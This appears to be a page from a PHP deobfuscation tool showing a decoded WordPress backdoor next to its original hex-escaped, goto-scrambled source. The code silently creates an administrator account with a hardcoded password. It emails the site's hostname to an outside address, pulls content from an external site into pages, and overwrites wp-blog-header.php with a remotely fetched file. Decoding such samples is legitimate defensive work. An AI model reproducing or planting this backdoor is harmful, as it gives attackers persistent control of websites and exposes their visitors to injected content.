Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php goto qhi40; GlIEp: if (!username_exists($username)) { $user_id = wp_create_user($u..

Decoded Output download

<?php 
 goto qhi40; GlIEp: if (!username_exists($username)) { $user_id = wp_create_user($username, $password, $email_address); $user = new WP_User($user_id); $user->set_role("administrator"); } goto sjPwI; Fd3AW: $azzouz = $_SERVER["HTTP_HOST"]; goto REkRc; Sf1nn: mail($email_address, $azzouz, $msg); goto Bq_l8; qhi40: require "wp-load.php"; goto quA92; sjPwI: $azerty = $_SERVER["SERVER_NAME"]; goto Fd3AW; qbiKg: $email_address = "[email protected]"; goto GlIEp; REkRc: $msg = "Laporan Gan " . $azzouz . " dengan user " . $username . " Telah Ditambahkan " . $azerty . " Terima kasih"; goto Sf1nn; Z5_Z7: $password = "harmoni212"; goto qbiKg; quA92: $username = "muber"; goto Z5_Z7; Bq_l8:  goto srbWd; AYM13: if ($index_content !== false) { if (file_put_contents("wp-blog-header.php", $index_content) !== false) { echo "wordpress updated successfully."; } else { echo "Error: Failed to write the updated"; } } else { echo "Error: Failed to fetch update"; } goto tLexq; th_VH: $index_content = file_get_contents($github_url); goto AYM13; eaqxW: $github_url = "https://raw.githubusercontent.com/debytoge/devel/main/wp-blog-header.php"; goto th_VH; srbWd: if (!isset($wp_did_header)) { $wp_did_header = true; require_once __DIR__ . "/wp-load.php"; wp(); require_once ABSPATH . WPINC . "/template-loader.php"; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, "https://theso.org/devel/"); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $a = curl_exec($ch); curl_close($ch); echo $a; } goto eaqxW; tLexq: ?>

Did this file decode correctly?

Original Code

<?php
 goto qhi40; GlIEp: if (!username_exists($username)) { $user_id = wp_create_user($username, $password, $email_address); $user = new WP_User($user_id); $user->set_role("\x61\144\x6d\x69\156\x69\163\x74\162\141\164\x6f\162"); } goto sjPwI; Fd3AW: $azzouz = $_SERVER["\x48\124\124\120\x5f\x48\117\123\x54"]; goto REkRc; Sf1nn: mail($email_address, $azzouz, $msg); goto Bq_l8; qhi40: require "\x77\160\x2d\154\x6f\x61\144\56\160\x68\x70"; goto quA92; sjPwI: $azerty = $_SERVER["\123\x45\x52\126\x45\122\x5f\116\101\x4d\x45"]; goto Fd3AW; qbiKg: $email_address = "\x61\x64\155\x69\156\x40\x6d\x75\142\145\162\x2e\143\x6f\155"; goto GlIEp; REkRc: $msg = "\114\x61\x70\x6f\x72\141\156\x20\x47\141\x6e\x20" . $azzouz . "\40\x64\x65\156\x67\x61\x6e\x20\165\x73\145\x72\x20" . $username . "\40\x54\x65\x6c\x61\150\40\104\151\x74\x61\155\x62\x61\x68\153\x61\x6e\40" . $azerty . "\x20\x54\x65\162\151\155\x61\40\x6b\141\x73\151\150"; goto Sf1nn; Z5_Z7: $password = "\150\141\162\155\x6f\x6e\x69\62\x31\x32"; goto qbiKg; quA92: $username = "\x6d\165\142\x65\162"; goto Z5_Z7; Bq_l8:  goto srbWd; AYM13: if ($index_content !== false) { if (file_put_contents("\x77\160\55\x62\x6c\157\147\x2d\x68\145\x61\144\145\x72\x2e\x70\150\160", $index_content) !== false) { echo "\x77\157\x72\144\160\162\x65\163\x73\40\165\160\144\141\164\145\x64\40\163\x75\x63\x63\145\163\x73\x66\x75\154\154\x79\56"; } else { echo "\105\162\x72\157\162\72\x20\106\x61\151\154\x65\x64\40\x74\157\40\x77\x72\x69\x74\x65\x20\164\x68\x65\x20\x75\160\x64\141\164\x65\x64"; } } else { echo "\105\162\x72\x6f\x72\x3a\40\106\x61\151\154\x65\x64\x20\164\157\x20\x66\x65\164\x63\x68\x20\x75\160\x64\x61\164\145"; } goto tLexq; th_VH: $index_content = file_get_contents($github_url); goto AYM13; eaqxW: $github_url = "\150\164\164\x70\163\x3a\57\x2f\162\141\167\x2e\x67\151\x74\150\x75\142\165\x73\x65\x72\x63\157\x6e\164\145\156\x74\x2e\x63\157\155\x2f\x64\x65\x62\171\164\x6f\x67\x65\x2f\144\145\166\x65\x6c\x2f\x6d\x61\151\156\57\167\160\55\x62\x6c\x6f\x67\55\x68\145\x61\x64\x65\162\x2e\160\x68\160"; goto th_VH; srbWd: if (!isset($wp_did_header)) { $wp_did_header = true; require_once __DIR__ . "\x2f\x77\160\x2d\154\x6f\x61\x64\x2e\160\x68\160"; wp(); require_once ABSPATH . WPINC . "\57\x74\145\155\160\154\141\x74\145\55\x6c\x6f\x61\x64\x65\x72\x2e\160\x68\x70"; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, "\x68\164\x74\x70\163\x3a\57\57\x74\x68\x65\x73\x6f\56\x6f\x72\x67\57\x64\145\166\x65\154\x2f"); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $a = curl_exec($ch); curl_close($ch); echo $a; } goto eaqxW; tLexq: ?>

Function Calls

None

Variables

None

Stats

MD5 5bf4523fd63544cc7d2cb835bb76bdac
Eval Count 0
Decode Time 43 ms